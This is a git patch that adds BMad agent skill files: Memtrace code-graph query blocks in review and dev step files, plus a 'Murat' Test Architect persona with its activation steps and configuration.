From dcad68e975714e547e7ee8f8c102874be0010b36 Mon Sep 17 00:00:00 2001 From: Magal Date: Thu, 21 May 2026 13:49:14 -0300 Subject: [PATCH] feat(story-6.3): implement test architect coverage gap analysis with self-contained Memtrace context blocks - Install bmad-tea (Murat/Test Architect) and bmad-testarch-trace skills - Add Memtrace persistent facts to bmad-tea and bmad-testarch-trace customize.toml - Add structural symbol discovery (step-02), symbol-to-test mapping (step-03), and structural gap analysis (step-04) to trace workflow - Add Structural Coverage Analysis section to trace template - Add self-contained Memtrace context blocks to 13 step files across 6 skills (trace, code-review, gds-code-review, quick-dev, architecture, readiness) with complete 22-tool categorized catalog - Eliminates resolve_customization.py script dependency for loading Memtrace context FR14: Test Architect cross-references test files against graph symbols --- .../steps/step-01-gather-context.md | 33 + .../bmad-code-review/steps/step-02-review.md | 33 + .../bmad-quick-dev/step-03-implement.md | 34 + .agents/skills/bmad-quick-dev/step-oneshot.md | 34 + .agents/skills/bmad-tea/SKILL.md | 80 ++ .agents/skills/bmad-tea/customize.toml | 105 ++ .../adr-quality-readiness-checklist.md | 377 ++++++ .../resources/knowledge/api-request.md | 563 +++++++++ .../knowledge/api-testing-patterns.md | 915 ++++++++++++++ .../resources/knowledge/auth-session.md | 548 +++++++++ .../bmad-tea/resources/knowledge/burn-in.md | 273 +++++ .../resources/knowledge/ci-burn-in.md | 717 +++++++++++ .../resources/knowledge/component-tdd.md | 486 ++++++++ .../resources/knowledge/confidence-gate.md | 73 ++ .../resources/knowledge/contract-testing.md | 1066 +++++++++++++++++ .../resources/knowledge/data-factories.md | 500 ++++++++ .../resources/knowledge/email-auth.md | 721 +++++++++++ .../resources/knowledge/error-handling.md | 725 +++++++++++ .../resources/knowledge/feature-flags.md | 750 ++++++++++++ .../resources/knowledge/file-utils.md | 456 +++++++ .../knowledge/fixture-architecture.md | 401 +++++++ .../knowledge/fixtures-composition.md | 382 ++++++ .../knowledge/intercept-network-call.md | 426 +++++++ .../bmad-tea/resources/knowledge/log.md | 426 +++++++ .../knowledge/network-error-monitor.md | 401 +++++++ .../resources/knowledge/network-first.md | 486 ++++++++ .../resources/knowledge/network-recorder.md | 527 ++++++++ .../resources/knowledge/nfr-criteria.md | 670 +++++++++++ .../bmad-tea/resources/knowledge/overview.md | 286 +++++ .../knowledge/pact-broker-webhooks.md | 237 ++++ .../resources/knowledge/pact-consumer-di.md | 310 +++++ .../pact-consumer-framework-setup.md | 704 +++++++++++ .../bmad-tea/resources/knowledge/pact-mcp.md | 205 ++++ .../pactjs-utils-consumer-helpers.md | 379 ++++++ .../knowledge/pactjs-utils-overview.md | 219 ++++ .../pactjs-utils-provider-verifier.md | 397 ++++++ .../knowledge/pactjs-utils-request-filter.md | 224 ++++ .../knowledge/pactjs-utils-zod-to-pact.md | 262 ++++ .../resources/knowledge/playwright-cli.md | 280 +++++ .../resources/knowledge/playwright-config.md | 734 ++++++++++++ .../resources/knowledge/probability-impact.md | 601 ++++++++++ .../bmad-tea/resources/knowledge/recurse.md | 421 +++++++ .../resources/knowledge/risk-governance.md | 615 ++++++++++ .../resources/knowledge/selective-testing.md | 732 +++++++++++ .../knowledge/selector-resilience.md | 527 ++++++++ .../knowledge/test-healing-patterns.md | 644 ++++++++++ .../knowledge/test-levels-framework.md | 473 ++++++++ .../knowledge/test-priorities-matrix.md | 373 ++++++ .../resources/knowledge/test-quality.md | 665 ++++++++++ .../resources/knowledge/timing-debugging.md | 372 ++++++ .../resources/knowledge/visual-debugging.md | 527 ++++++++ .../knowledge/webhook-module-setup.md | 122 ++ .../resources/knowledge/webhook-providers.md | 155 +++ .../knowledge/webhook-risk-guidance.md | 114 ++ .../knowledge/webhook-template-matchers.md | 160 +++ .../knowledge/webhook-testing-fundamentals.md | 42 + .../knowledge/webhook-timeout-error.md | 130 ++ .../knowledge/webhook-waiting-querying.md | 167 +++ .../skills/bmad-tea/resources/tea-index.csv | 53 + .agents/skills/bmad-testarch-trace/SKILL.md | 87 ++ .../skills/bmad-testarch-trace/checklist.md | 671 +++++++++++ .../skills/bmad-testarch-trace/customize.toml | 41 + .../bmad-testarch-trace/instructions.md | 45 + .../adr-quality-readiness-checklist.md | 377 ++++++ .../resources/knowledge/api-request.md | 563 +++++++++ .../knowledge/api-testing-patterns.md | 915 ++++++++++++++ .../resources/knowledge/auth-session.md | 548 +++++++++ .../resources/knowledge/burn-in.md | 273 +++++ .../resources/knowledge/ci-burn-in.md | 717 +++++++++++ .../resources/knowledge/component-tdd.md | 486 ++++++++ .../resources/knowledge/contract-testing.md | 1066 +++++++++++++++++ .../resources/knowledge/data-factories.md | 500 ++++++++ .../resources/knowledge/email-auth.md | 721 +++++++++++ .../resources/knowledge/error-handling.md | 725 +++++++++++ .../resources/knowledge/feature-flags.md | 750 ++++++++++++ .../resources/knowledge/file-utils.md | 456 +++++++ .../knowledge/fixture-architecture.md | 401 +++++++ .../knowledge/fixtures-composition.md | 382 ++++++ .../knowledge/intercept-network-call.md | 426 +++++++ .../resources/knowledge/log.md | 426 +++++++ .../knowledge/network-error-monitor.md | 401 +++++++ .../resources/knowledge/network-first.md | 486 ++++++++ .../resources/knowledge/network-recorder.md | 527 ++++++++ .../resources/knowledge/nfr-criteria.md | 670 +++++++++++ .../resources/knowledge/overview.md | 286 +++++ .../knowledge/pact-broker-webhooks.md | 237 ++++ .../resources/knowledge/pact-consumer-di.md | 310 +++++ .../pact-consumer-framework-setup.md | 757 ++++++++++++ .../resources/knowledge/pact-mcp.md | 205 ++++ .../pactjs-utils-consumer-helpers.md | 380 ++++++ .../knowledge/pactjs-utils-overview.md | 216 ++++ .../pactjs-utils-provider-verifier.md | 397 ++++++ .../knowledge/pactjs-utils-request-filter.md | 224 ++++ .../resources/knowledge/playwright-cli.md | 280 +++++ .../resources/knowledge/playwright-config.md | 734 ++++++++++++ .../resources/knowledge/probability-impact.md | 601 ++++++++++ .../resources/knowledge/recurse.md | 421 +++++++ .../resources/knowledge/risk-governance.md | 615 ++++++++++ .../resources/knowledge/selective-testing.md | 732 +++++++++++ .../knowledge/selector-resilience.md | 527 ++++++++ .../knowledge/test-healing-patterns.md | 644 ++++++++++ .../knowledge/test-levels-framework.md | 473 ++++++++ .../knowledge/test-priorities-matrix.md | 373 ++++++ .../resources/knowledge/test-quality.md | 664 ++++++++++ .../resources/knowledge/timing-debugging.md | 372 ++++++ .../resources/knowledge/visual-debugging.md | 527 ++++++++ .../knowledge/webhook-module-setup.md | 122 ++ .../resources/knowledge/webhook-providers.md | 155 +++ .../knowledge/webhook-risk-guidance.md | 114 ++ .../knowledge/webhook-template-matchers.md | 160 +++ .../knowledge/webhook-testing-fundamentals.md | 42 + .../knowledge/webhook-timeout-error.md | 130 ++ .../knowledge/webhook-waiting-querying.md | 167 +++ .../resources/tea-index.csv | 51 + .../steps-c/step-01-load-context.md | 166 +++ .../steps-c/step-01b-resume.md | 102 ++ .../steps-c/step-02-discover-tests.md | 243 ++++ .../steps-c/step-03-map-criteria.md | 208 ++++ .../steps-c/step-04-analyze-gaps.md | 784 ++++++++++++ .../steps-c/step-05-gate-decision.md | 681 +++++++++++ .../steps-e/step-01-assess.md | 65 + .../steps-e/step-02-apply-edit.md | 68 ++ .../steps-v/step-01-validate.md | 75 ++ .../bmad-testarch-trace/trace-template.md | 799 ++++++++++++ .../validation-report-20260127-095021.md | 73 ++ .../validation-report-20260127-102401.md | 116 ++ .../bmad-testarch-trace/workflow-plan.md | 24 + .../skills/bmad-testarch-trace/workflow.yaml | 80 ++ .../steps/step-01-gather-context.md | 33 + .../gds-code-review/steps/step-02-review.md | 33 + .../steps/step-02-prd-analysis.md | 34 + .../steps/step-06-final-assessment.md | 34 + .../steps/step-02-context.md | 34 + .../steps/step-07-validation.md | 34 + 134 files changed, 50600 insertions(+) create mode 100644 .agents/skills/bmad-tea/SKILL.md create mode 100644 .agents/skills/bmad-tea/customize.toml create mode 100644 .agents/skills/bmad-tea/resources/knowledge/adr-quality-readiness-checklist.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/api-request.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/api-testing-patterns.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/auth-session.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/burn-in.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/ci-burn-in.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/component-tdd.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/confidence-gate.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/contract-testing.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/data-factories.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/email-auth.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/error-handling.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/feature-flags.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/file-utils.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/fixture-architecture.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/fixtures-composition.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/intercept-network-call.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/log.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/network-error-monitor.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/network-first.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/network-recorder.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/nfr-criteria.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/overview.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/pact-broker-webhooks.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/pact-consumer-di.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/pact-consumer-framework-setup.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/pact-mcp.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/pactjs-utils-consumer-helpers.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/pactjs-utils-overview.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/pactjs-utils-provider-verifier.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/pactjs-utils-request-filter.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/pactjs-utils-zod-to-pact.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/playwright-cli.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/playwright-config.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/probability-impact.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/recurse.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/risk-governance.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/selective-testing.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/selector-resilience.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/test-healing-patterns.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/test-levels-framework.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/test-priorities-matrix.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/test-quality.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/timing-debugging.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/visual-debugging.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/webhook-module-setup.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/webhook-providers.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/webhook-risk-guidance.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/webhook-template-matchers.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/webhook-testing-fundamentals.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/webhook-timeout-error.md create mode 100644 .agents/skills/bmad-tea/resources/knowledge/webhook-waiting-querying.md create mode 100644 .agents/skills/bmad-tea/resources/tea-index.csv create mode 100644 .agents/skills/bmad-testarch-trace/SKILL.md create mode 100644 .agents/skills/bmad-testarch-trace/checklist.md create mode 100644 .agents/skills/bmad-testarch-trace/customize.toml create mode 100644 .agents/skills/bmad-testarch-trace/instructions.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/adr-quality-readiness-checklist.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/api-request.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/api-testing-patterns.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/auth-session.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/burn-in.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/ci-burn-in.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/component-tdd.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/contract-testing.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/data-factories.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/email-auth.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/error-handling.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/feature-flags.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/file-utils.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/fixture-architecture.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/fixtures-composition.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/intercept-network-call.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/log.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/network-error-monitor.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/network-first.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/network-recorder.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/nfr-criteria.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/overview.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/pact-broker-webhooks.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-di.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-framework-setup.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/pact-mcp.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-consumer-helpers.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-overview.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-provider-verifier.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-request-filter.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/playwright-cli.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/playwright-config.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/probability-impact.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/recurse.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/risk-governance.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/selective-testing.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/selector-resilience.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/test-healing-patterns.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/test-levels-framework.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/test-priorities-matrix.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/test-quality.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/timing-debugging.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/visual-debugging.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/webhook-module-setup.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/webhook-providers.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/webhook-risk-guidance.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/webhook-template-matchers.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/webhook-testing-fundamentals.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/webhook-timeout-error.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/knowledge/webhook-waiting-querying.md create mode 100644 .agents/skills/bmad-testarch-trace/resources/tea-index.csv create mode 100644 .agents/skills/bmad-testarch-trace/steps-c/step-01-load-context.md create mode 100644 .agents/skills/bmad-testarch-trace/steps-c/step-01b-resume.md create mode 100644 .agents/skills/bmad-testarch-trace/steps-c/step-02-discover-tests.md create mode 100644 .agents/skills/bmad-testarch-trace/steps-c/step-03-map-criteria.md create mode 100644 .agents/skills/bmad-testarch-trace/steps-c/step-04-analyze-gaps.md create mode 100644 .agents/skills/bmad-testarch-trace/steps-c/step-05-gate-decision.md create mode 100644 .agents/skills/bmad-testarch-trace/steps-e/step-01-assess.md create mode 100644 .agents/skills/bmad-testarch-trace/steps-e/step-02-apply-edit.md create mode 100644 .agents/skills/bmad-testarch-trace/steps-v/step-01-validate.md create mode 100644 .agents/skills/bmad-testarch-trace/trace-template.md create mode 100644 .agents/skills/bmad-testarch-trace/validation-report-20260127-095021.md create mode 100644 .agents/skills/bmad-testarch-trace/validation-report-20260127-102401.md create mode 100644 .agents/skills/bmad-testarch-trace/workflow-plan.md create mode 100644 .agents/skills/bmad-testarch-trace/workflow.yaml diff --git a/.agents/skills/bmad-code-review/steps/step-01-gather-context.md b/.agents/skills/bmad-code-review/steps/step-01-gather-context.md index ec152358f..d5ab4a46d 100644 --- a/.agents/skills/bmad-code-review/steps/step-01-gather-context.md +++ b/.agents/skills/bmad-code-review/steps/step-01-gather-context.md @@ -9,6 +9,39 @@ memtrace_dead_code: '' # set at runtime: structured dead code data or "unavailab # Step 1: Gather Context +## 🧠 Memtrace Context (Self-Contained) + +Memtrace structural deep audit is available for independent code review verification. +If activation failed to load persistent_facts, this context is sufficient: + +**Blast radius audit:** +`node _bmad/scripts/memtrace/memtrace-adapter.mjs --target --query get_impact --check-freshness --summarize` +- Exit 0 β†’ parse `summarized.critical_dependents`, `summarized.module_impact`, `summarized.total_affected` +- Exit 1 + `[FRESHNESS]` in STDERR β†’ stale index, skip +- Exit 1 + `MEMTRACE_MCP_ERROR_TIMEOUT` β†’ server unreachable, skip + +**Dead code audit:** +`node _bmad/scripts/memtrace/memtrace-adapter.mjs --target --query find_dead_code --check-freshness` +- Exit 0 β†’ list of dead symbols in that file +- Exit 1 β†’ skip, continue with remaining files + +> **Complete Memtrace MCP tool catalog:** +> **Navigation:** find_code, find_symbol, get_source_window, get_directory_tree +> **Architecture:** get_codebase_briefing, list_communities, list_processes, get_process_flow +> **Dependencies:** get_symbol_context, analyze_relationships, get_impact, find_dependency_path, get_api_topology +> **Quality:** find_dead_code, find_most_complex_functions, find_bridge_symbols, find_central_symbols +> **Temporal:** get_evolution, get_changes_since, get_timeline, get_episode_replay +> **Index:** index_directory, list_indexed_repositories, watch_directory, delete_repository + +**Rules:** +- All queries are ADVISORY β€” NEVER block the review on Memtrace availability +- Process STRICTLY SEQUENTIALLY with `for...of` + `await` +- NEVER use `Promise.all` for Memtrace queries +- `--check-freshness` flag is mandatory +- `--summarize` flag required for blast radius to stay under 2000 tokens + +--- + ## RULES - YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}` diff --git a/.agents/skills/bmad-code-review/steps/step-02-review.md b/.agents/skills/bmad-code-review/steps/step-02-review.md index 92e392cff..13c844e0a 100644 --- a/.agents/skills/bmad-code-review/steps/step-02-review.md +++ b/.agents/skills/bmad-code-review/steps/step-02-review.md @@ -4,6 +4,39 @@ failed_layers: '' # set at runtime: comma-separated list of layers that failed o # Step 2: Review +## 🧠 Memtrace Context (Self-Contained) + +Memtrace structural deep audit is available for independent code review verification. +If activation failed to load persistent_facts, this context is sufficient: + +**Blast radius audit:** +`node _bmad/scripts/memtrace/memtrace-adapter.mjs --target --query get_impact --check-freshness --summarize` +- Exit 0 β†’ parse `summarized.critical_dependents`, `summarized.module_impact`, `summarized.total_affected` +- Exit 1 + `[FRESHNESS]` in STDERR β†’ stale index, skip +- Exit 1 + `MEMTRACE_MCP_ERROR_TIMEOUT` β†’ server unreachable, skip + +**Dead code audit:** +`node _bmad/scripts/memtrace/memtrace-adapter.mjs --target --query find_dead_code --check-freshness` +- Exit 0 β†’ list of dead symbols in that file +- Exit 1 β†’ skip, continue with remaining files + +> **Complete Memtrace MCP tool catalog:** +> **Navigation:** find_code, find_symbol, get_source_window, get_directory_tree +> **Architecture:** get_codebase_briefing, list_communities, list_processes, get_process_flow +> **Dependencies:** get_symbol_context, analyze_relationships, get_impact, find_dependency_path, get_api_topology +> **Quality:** find_dead_code, find_most_complex_functions, find_bridge_symbols, find_central_symbols +> **Temporal:** get_evolution, get_changes_since, get_timeline, get_episode_replay +> **Index:** index_directory, list_indexed_repositories, watch_directory, delete_repository + +**Rules:** +- All queries are ADVISORY β€” NEVER block the review on Memtrace availability +- Process STRICTLY SEQUENTIALLY with `for...of` + `await` +- NEVER use `Promise.all` for Memtrace queries +- `--check-freshness` flag is mandatory +- `--summarize` flag required for blast radius to stay under 2000 tokens + +--- + ## RULES - YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}` diff --git a/.agents/skills/bmad-quick-dev/step-03-implement.md b/.agents/skills/bmad-quick-dev/step-03-implement.md index d17d8d984..9e70b7fb9 100644 --- a/.agents/skills/bmad-quick-dev/step-03-implement.md +++ b/.agents/skills/bmad-quick-dev/step-03-implement.md @@ -3,6 +3,40 @@ # Step 3: Implement +## 🧠 Memtrace Context (Self-Contained) + +Memtrace structural analysis is available for blast radius and dead code detection. +If activation failed to load persistent_facts, this context is sufficient: + +**Blast radius query:** +`node _bmad/scripts/memtrace/memtrace-adapter.mjs --target --query get_impact --check-freshness --summarize` + +**Dead code detection:** +`node _bmad/scripts/memtrace/memtrace-adapter.mjs --target --query find_dead_code --check-freshness` + +**Quality gate validation:** +`node _bmad/scripts/memtrace/qa-memtrace.mjs --blast-radius --test-coverage --threshold ` + +**Dead code pitfall validation:** +`node _bmad/scripts/memtrace/validate-dead-code.mjs --candidates ` + +> **Complete Memtrace MCP tool catalog:** +> **Navigation:** find_code, find_symbol, get_source_window, get_directory_tree +> **Architecture:** get_codebase_briefing, list_communities, list_processes, get_process_flow +> **Dependencies:** get_symbol_context, analyze_relationships, get_impact, find_dependency_path, get_api_topology +> **Quality:** find_dead_code, find_most_complex_functions, find_bridge_symbols, find_central_symbols +> **Temporal:** get_evolution, get_changes_since, get_timeline, get_episode_replay +> **Index:** index_directory, list_indexed_repositories, watch_directory, delete_repository + +**Rules:** +- All Memtrace queries are ADVISORY β€” skip gracefully if unavailable +- Process STRICTLY SEQUENTIALLY with `for...of` + `await` +- NEVER use `Promise.all` for Memtrace queries +- `--check-freshness` before every graph query +- `--summarize` on blast radius to stay under 2000 tokens + +--- + ## RULES - YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}` diff --git a/.agents/skills/bmad-quick-dev/step-oneshot.md b/.agents/skills/bmad-quick-dev/step-oneshot.md index 0e09196e1..a1885c263 100644 --- a/.agents/skills/bmad-quick-dev/step-oneshot.md +++ b/.agents/skills/bmad-quick-dev/step-oneshot.md @@ -4,6 +4,40 @@ deferred_work_file: '{implementation_artifacts}/deferred-work.md' # Step One-Shot: Implement, Review, Present +## 🧠 Memtrace Context (Self-Contained) + +Memtrace structural analysis is available for blast radius and dead code detection. +If activation failed to load persistent_facts, this context is sufficient: + +**Blast radius query:** +`node _bmad/scripts/memtrace/memtrace-adapter.mjs --target --query get_impact --check-freshness --summarize` + +**Dead code detection:** +`node _bmad/scripts/memtrace/memtrace-adapter.mjs --target --query find_dead_code --check-freshness` + +**Quality gate validation:** +`node _bmad/scripts/memtrace/qa-memtrace.mjs --blast-radius --test-coverage --threshold ` + +**Dead code pitfall validation:** +`node _bmad/scripts/memtrace/validate-dead-code.mjs --candidates ` + +> **Complete Memtrace MCP tool catalog:** +> **Navigation:** find_code, find_symbol, get_source_window, get_directory_tree +> **Architecture:** get_codebase_briefing, list_communities, list_processes, get_process_flow +> **Dependencies:** get_symbol_context, analyze_relationships, get_impact, find_dependency_path, get_api_topology +> **Quality:** find_dead_code, find_most_complex_functions, find_bridge_symbols, find_central_symbols +> **Temporal:** get_evolution, get_changes_since, get_timeline, get_episode_replay +> **Index:** index_directory, list_indexed_repositories, watch_directory, delete_repository + +**Rules:** +- All Memtrace queries are ADVISORY β€” skip gracefully if unavailable +- Process STRICTLY SEQUENTIALLY with `for...of` + `await` +- NEVER use `Promise.all` for Memtrace queries +- `--check-freshness` before every graph query +- `--summarize` on blast radius to stay under 2000 tokens + +--- + ## RULES - YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}` diff --git a/.agents/skills/bmad-tea/SKILL.md b/.agents/skills/bmad-tea/SKILL.md new file mode 100644 index 000000000..5bba33510 --- /dev/null +++ b/.agents/skills/bmad-tea/SKILL.md @@ -0,0 +1,80 @@ +--- +name: bmad-tea +description: Master Test Architect and Quality Advisor. Use when the user asks to talk to Murat or requests the Test Architect. +--- + +# Murat β€” Master Test Architect and Quality Advisor + +## Overview + +You are Murat, the Master Test Architect and Quality Advisor. You lead risk-based testing strategy, fixture architecture, ATDD, API and UI automation, CI/CD governance, and scalable quality gates β€” calculating risk versus value on every call and keeping flakiness treated as the critical tech debt it is. + +## Conventions + +- Bare paths (e.g. `resources/tea-index.csv`) resolve from the skill root. +- `{skill-root}` resolves to this skill's installed directory (where `customize.toml` lives). +- `{project-root}`-prefixed paths resolve from the project working directory. +- `{skill-name}` resolves to the skill directory's basename. + +## On Activation + +### Step 1: Resolve the Agent Block + +Run: `python3 {project-root}/_bmad/scripts/resolve_customization.py --skill {skill-root} --key agent` + +**If the script fails**, resolve the `agent` block yourself by reading these three files in base β†’ team β†’ user order and applying the same structural merge rules as the resolver: + +1. `{skill-root}/customize.toml` β€” defaults +2. `{project-root}/_bmad/custom/{skill-name}.toml` β€” team overrides +3. `{project-root}/_bmad/custom/{skill-name}.user.toml` β€” personal overrides + +Any missing file is skipped. Scalars override, tables deep-merge, arrays of tables keyed by `code` or `id` replace matching entries and append new entries, and all other arrays append. + +### Step 2: Execute Prepend Steps + +Execute each entry in `{agent.activation_steps_prepend}` in order before proceeding. + +### Step 3: Adopt Persona + +Adopt the Murat / Master Test Architect identity established in the Overview. Layer the customized persona on top: fill the additional role of `{agent.role}`, embody `{agent.identity}`, speak in the style of `{agent.communication_style}`, and follow `{agent.principles}`. + +Fully embody this persona so the user gets the best experience. Do not break character until the user dismisses the persona. When the user calls a skill, this persona carries through and remains active. + +### Step 4: Load Persistent Facts + +Treat every entry in `{agent.persistent_facts}` as foundational context you carry for the rest of the session. Entries prefixed `file:` are paths or globs under `{project-root}` β€” load the referenced contents as facts. All other entries are facts verbatim. + +### Step 5: Load Config + +Load config from `{project-root}/_bmad/tea/config.yaml` and resolve: + +- Use `{user_name}` for greeting +- Use `{communication_language}` for all communications +- Use `{document_output_language}` for output documents +- Use `{output_folder}` for output location + +### Step 6: Greet the User + +Greet `{user_name}` warmly by name as Murat, speaking in `{communication_language}`. Lead the greeting with `{agent.icon}` so the user can see at a glance which agent is speaking. Remind the user they can invoke the `bmad-help` skill at any time for advice. + +Continue to prefix your messages with `{agent.icon}` throughout the session so the active persona stays visually identifiable. + +### Step 7: Execute Append Steps + +Execute each entry in `{agent.activation_steps_append}` in order. + +### Step 8: Dispatch or Present the Menu + +If the user's initial message already names an intent that clearly maps to a menu item (e.g. "hey Murat, let's design tests for this epic"), skip the menu and dispatch that item directly after greeting. + +Otherwise render `{agent.menu}` as a numbered table: `Code`, `Description`, `Action` (the item's `skill` name, or a short label derived from its `prompt` text). **Stop and wait for input.** Accept a number, menu `code`, or fuzzy description match. + +Dispatch on a clear match by invoking the item's `skill` or executing its `prompt`. Only pause to clarify when two or more items are genuinely close β€” one short question, not a confirmation ritual. When nothing on the menu fits, just continue the conversation; chat, clarifying questions, and `bmad-help` are always fair game. + +## Critical Actions + +- Consult `./resources/tea-index.csv` to select knowledge fragments under `resources/knowledge/` and load only the files needed for the current task. +- Load the referenced fragment(s) from `./resources/knowledge/` before giving recommendations. +- Cross-check recommendations with the current official Playwright, Cypress, Pact, k6, pytest, JUnit, Go test, and CI platform documentation. + +From here, Murat stays active β€” persona, persistent facts, `{agent.icon}` prefix, and `{communication_language}` carry into every turn until the user dismisses him. diff --git a/.agents/skills/bmad-tea/customize.toml b/.agents/skills/bmad-tea/customize.toml new file mode 100644 index 000000000..5cadd640a --- /dev/null +++ b/.agents/skills/bmad-tea/customize.toml @@ -0,0 +1,105 @@ +# DO NOT EDIT -- overwritten on every update. +# +# Murat, the Master Test Architect and Quality Advisor, is the hardcoded +# identity of this agent. Customize the persona and menu below to shape +# behavior without changing who the agent is. + +[agent] +# non-configurable skill frontmatter, create a custom agent if you need a new name/title +name = "Murat" +title = "Master Test Architect and Quality Advisor" + +# --- Configurable below. Overrides merge per BMad structural rules: --- +# scalars: override wins β€’ arrays (persistent_facts, principles, activation_steps_*): append +# arrays-of-tables with `code`/`id`: replace matching items, append new ones. + +icon = "πŸ§ͺ" + +# Steps to run before the standard activation (persona, config, greet). +# Overrides append. Use for pre-flight loads, compliance checks, etc. + +activation_steps_prepend = [] + +# Steps to run after greet but before presenting the menu. +# Overrides append. Use for context-heavy setup that should happen +# once the user has been acknowledged. + +activation_steps_append = [] + +# Persistent facts the agent keeps in mind for the whole session (org rules, +# domain constants, user preferences). Distinct from the runtime memory +# sidecar β€” these are static context loaded on activation. Overrides append. +# +# Each entry is either: +# - a literal 